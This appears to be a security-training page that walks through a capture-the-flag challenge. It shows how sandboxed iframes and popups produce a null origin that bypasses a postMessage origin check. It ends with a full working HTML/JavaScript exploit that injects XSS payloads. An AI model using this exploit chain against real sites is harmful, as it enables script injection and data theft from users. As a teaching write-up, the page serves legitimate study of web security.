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78 lines
3.6 KiB
Markdown
78 lines
3.6 KiB
Markdown
# Bypassing SOP with Iframes - 1
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{{#include ../../banners/hacktricks-training.md}}
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## Iframes in SOP-1
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In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded
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```javascript
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const identifier = "4a600cd2d4f9aa1cfb5aa786"
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onmessage = (e) => {
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const data = e.data
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if (e.origin !== window.origin && data.identifier !== identifier) return
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if (data.type === "render") {
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renderContainer.innerHTML = data.body
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}
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}
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```
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The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
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Let's see the solution they propose.
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### SOP bypass 1 (e.origin === null)
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When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
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If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
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### SOP bypass 2 (window.origin === null)
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The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
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So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
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### Challenge Solution
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Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
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That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
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```html
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<body>
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<script>
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f = document.createElement("iframe")
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// Needed flags
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f.sandbox = "allow-scripts allow-popups allow-top-navigation"
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// Second communication with /iframe.php (this is the top page relocated)
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// This will execute the alert in the correct origin
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const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
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x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
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},1000);`.replaceAll("\n", " ")
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// Initial communication
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// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
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// Then, bypass window.origin === e.origin to steal the identifier and communicate
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// with the top with the second XSS payload
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f.srcdoc = `
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<h1>Click me!</h1>
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<script>
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onclick = e => {
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let w = open('https://so-xss.terjanq.me/iframe.php');
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onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
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setTimeout(_ => {
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w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
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}, 1000);
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};
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<\/script>
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`
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document.body.appendChild(f)
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</script>
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</body>
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```
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{{#include ../../banners/hacktricks-training.md}}
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